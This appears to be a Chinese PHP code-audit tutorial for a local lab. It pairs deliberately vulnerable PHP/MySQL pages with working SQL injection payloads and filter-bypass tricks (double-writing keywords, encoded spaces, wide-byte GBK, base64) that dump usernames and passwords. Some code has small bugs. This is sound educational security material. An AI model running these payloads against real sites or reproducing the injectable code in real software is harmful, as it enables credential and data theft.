PHP SQL 注入代码审计

PHP技术
456
0
0
2023-02-13
标签   SQL注入

代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。

接下来你需要准备好LAMP环境,这里使用的是 Centos 7.5 + Apache/2.4.6 + PHP 7.0 + Mariadb 5.5 然后导入以下数据库记录,后期将逐步提升审计难度,边做笔记边学习PHP编码知识。

create database lyshark;
create table user(
	id int(10) primary key not null,
	username varchar(100) not null,
	password varchar(100) not null,
	usertype int(10) DEFAULT 0,
	email varchar(100) DEFAULT "admin@blib.cn"
);

insert into lyshark.user(id,username,password) VALUES(1,"admin","123123");
insert into lyshark.user(id,username,password) VALUES(2,"guest","12345678");
insert into lyshark.user(id,username,password) VALUES(3,"lyshark","098764");
insert into lyshark.user(id,username,password) VALUES(4,"Dumb","Dumb123123");
insert into lyshark.user(id,username,password) VALUES(5,"Angelina","awt32178");
insert into lyshark.user(id,username,password) VALUES(6,"Dummy","p@ssword");
insert into lyshark.user(id,username,password) VALUES(7,"batman","mob!le");
insert into lyshark.user(id,username,password) VALUES(8,"secure","crappy125*");
insert into lyshark.user(id,username,password) VALUES(9,"dhakkan","dha234kk1");
insert into lyshark.user(id,username,password) VALUES(10,"cpul","mysql123");

基本注入: 该方式明显会被注入,没啥可说的。

<?php
$connect = mysqli_connect("127.0.0.1","root","123","lyshark");

if($connect)
{
        $id = $_GET['id'];

        if(isset($id))
        {
                $sql = "select * from user where id='$id' limit 0,1";
                $query = mysqli_query($connect,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>

构建Payload http://php.com/index.php?id=1' and 0 union select 1,2,version(),4,5 --+

img

稍微修改上方代码,加上括号后该如何绕过?

# NewCode:
$sql = "select * from user where id=('$id') limit 0,1";

# ---------------------------------------------------------------------
Payload: index.php?id=1') and 0 union select 1,version(),3,4,5 --+
Payload: index.php?id=1') and '1'=('0') union select 1,version(),3,4,5 --+

# ---------------------------------------------------------------------
# NewCode:
$sql = "select * from user where id=(('$id')) limit 0,1";

Payload: index.php?id=1')) and 1=0 union select 1,version(),3,4,5 --+

img

继续修改上方代码,改变后的绕过方法.

# NewCode:
$id = '"' . $id . '"';
$sql = "select * from user where id=($id) limit 0,1";

# ---------------------------------------------------------------------
Payload: index.php?id=1") and "1"=("0") union select 1,version(),3,4,5 --+

img

过滤掉简单的注释符: 代码中通过使用replace函数对MySQL的注释进行了一定程度的过滤,这相当于waf中的敏感字段过滤,该如何绕过呢?

<?php

function waf($id)
{
        $replace = "";
        $id = preg_replace('/#/',$replace,$id);
        $id = preg_replace('/--/',$replace,$id);
        return $id;
}

$connect = mysqli_connect("127.0.0.1","root","123","lyshark");
if($connect)
{
        $id = waf($_GET['id']);
        
        if(isset($id))
        {
                $sql = "select * from user where id='$id' limit 0,1";
                $query = mysqli_query($connect,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>

此处我们构建的payload语句是这样的?id=-1' union select 1,version(),3,4,5'此处的负数就是让第一条语句失效,这样才能有空间输出第二条语句的结果,也就是输出version()的执行结果。

img

在上方代码基础上,继续增加过滤条件如下,将空格 or,and,/*,#,--,/等各种符号过滤,该如何绕过?

function waf($id)
{
        $replace = "";
        $id= preg_replace('/or/i',$replace, $id);
        $id= preg_replace('/and/i',$replace, $id);
        $id= preg_replace('/[\/\*]/',$replace, $id);
        $id= preg_replace('/[--]/',$replace, $id);
        $id= preg_replace('/[#]/',$replace, $id);
        $id= preg_replace('/[\s]/',$replace, $id);
        $id= preg_replace('/[\/\\\\]/',$replace, $id);
        return $id;
}

此处我们需要说明: 对于过滤掉and和or的地方我们可以将其用&& ||等管道符替代,而对于对空格的过滤可以使用%a0 (空格编码)的形式直接绕过,而%27随对应的就是单引号,payload如下所示:

get.php?id=0%27union%a0select%a01,version(),3,4,5%a0%26%26%a0%271%27=%271

而对于or的过滤可以使用双写oorr 1=1对于and可以使用aandnd 1=1绕过.

get.php?id=1%27%a0aandnd%a01=0%a0union%a0select%a01,version(),3,4,5%27

img

union+select 过滤条件的绕过.

function waf($id)
{
        $id= preg_replace('/[\/\*]/',"", $id);
        $id= preg_replace('/[--]/',"", $id);
        $id= preg_replace('/[#]/',"", $id);
        $id= preg_replace('/[ +]/',"", $id);
        $id= preg_replace('/[ +]/',"", $id);
        $id= preg_replace('/union\s+select/i',"", $id);
        return $id;
}

可以双写union union select select进行绕过.

get.php?id=0%27%0aunion%0aunion%0aselect%0aselect%0a1,user(),3,version(),5%27

img

继续替换过滤规则,关于宽字节绕过引号转义,此处传入的任何单引号,在其前面都会自动添加一个\其目的适用于阻止我们对其进行闭合,我们可以使用宽字节进行绕过。

<?php

function waf($id)
{
        #$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
        #$string = preg_replace('/\'/i', '\\\'', $string);                   
        #$string = preg_replace('/\"/', "\\\"", $string);     
        $id = addslashes($id);
        return $id;
}
function strToHex($string)
{
        $hex='';
        for ($i=0; $i < strlen($string); $i++)
        {
                $hex .= dechex(ord($string[$i]));
        }
        return $hex;
}

$connect = mysqli_connect("127.0.0.1","root","123","lyshark");
if($connect)
{
        $id = waf($_GET['id']);
        
        if(isset($id))
        {
                mysqli_query("SET NAMES gbk");
                $sql = "select * from user where id='$id' limit 0,1";
                $query = mysqli_query($connect,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;?>

原理:一个双字节组成的字符,比如一个汉字的utf8编码为%E6%88%91当使用?id=1%E6'构造时'前面加的\就会和%E6 结合,结合后虽然显示会出问题但是能自动闭合前面的单引号.

get.php?id=1%E6%27 and 1=1 --+

img

Base64注入: 有些为了业务需要他会把传入一些编码后的参数再解码带入数据库查询,常见的有base64编码,也有的程序会内置url解码,通常见于框架.

<?php

function waf($id){
        $id = base64_decode($id);
        # $id = urldecode($id);
        return $id;
}

$connect = mysqli_connect("127.0.0.1","root","123","lyshark");

if($connect)
{
        $id = waf($_GET['id']);
        if(isset($id))
        {
                $sql = "select * from user where id='$id' limit 0,1";
                $query = mysqli_query($connect,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;?>
<?php echo '<hr><b> Base64编码后: </b>' . base64_encode($_GET['id']);?>

Payload写法就是通过插件或工具将SQL语句转换为Base64编码,然后放行数据即可完成注入.

构建原生语句: 0' union select 1,2,version(),4,5 --+
BaseEncode: ?id=MCcgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCksNCw1IC0tIA==

img

同理当我们使用 urldecode($id) 的时候,该函数接受参数只会被url解码一次,传入的值不是魔术引号认识的值就可以绕过。

构建原生语句: ?id=%2527union%20select%201,2,3,4,5--%20+

img

宽字节注入:

<?php

function waf($id)
{
        $id = urldecode($id);
        return $id;
}

$connect = mysqli_connect("127.0.0.1","root","123","lyshark");
if($connect)
{
        $id = waf($_GET['id']);

        if(isset($id))
        {
                mysqli_query("set names 'gbk' ",$connect);
                $sql = "select * from user where id='$id' limit 0,1";
                $query = mysqli_query($connect,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;?>

宽字节绕过Payload如下.

构建原生语句: ?id=0%DF%27 union select 1,version(),3,4,5 --+
构建原生语句: ?id=0%DF%27 union select 1,version(),3,4,5 %27
Payload: ?id=0%DF%27%20union%20select%201,version(),3,4,5%20%27

img

来路绕过实现注入: burp抓包改包,加上Referer: http://www.xxx.com/放行就好了.

<?php

$var = array($_SERVER['HTTP_HOST'],"www",$_SERVER['HTTP_HOST']);
#var_dump($var);

$url = $_SERVER['HTTP_REFERER'];
$string = str_replace("http://","",$url);
$domain = explode("/",$string);

if(in_array($domain[0],$var))
{
        echo "ok";
}
?>

img

输入框中的注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin' order by 1 #
admin' order by 2 -- 
admin' and 1 union select 1,2,3 #
admin' and 1 union select 1,2 #

# 爆出数据库
admin ' and 0 union select null,database() #
admin' and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #

# 爆出表中字段
' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #
' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 #

# 继续爆出所有的用户名密码
' union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

update-xml注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		error_reporting(0);
		header("Content-type: text/html;charset=utf8");

		function Check($value)
		{
			if(!empty($value))
			{ // 如果结果不为空,则取出其前十五个字符 18
				$value = substr($value,0,15);
			}
			// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
			// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
			if(get_magic_quotes_gpc())
			{
				// 删除由 addslashes() 函数添加的反斜杠
				$value = stripslashes($value);
			}
			if(!ctype_digit($value))
			{
				// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
				// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
				$value = "'" . mysql_real_escape_string($value) . ".";
			}
			else
				$value = intval($value);
			return $value;
		}


		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		    	$uname=Check($_POST['uname']);
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		$rows = $row['username'];
		        		$udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
		        		mysql_query($update);
		        		if(mysql_error())
		        		{
		        			print_r(mysql_error());
		        		}
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>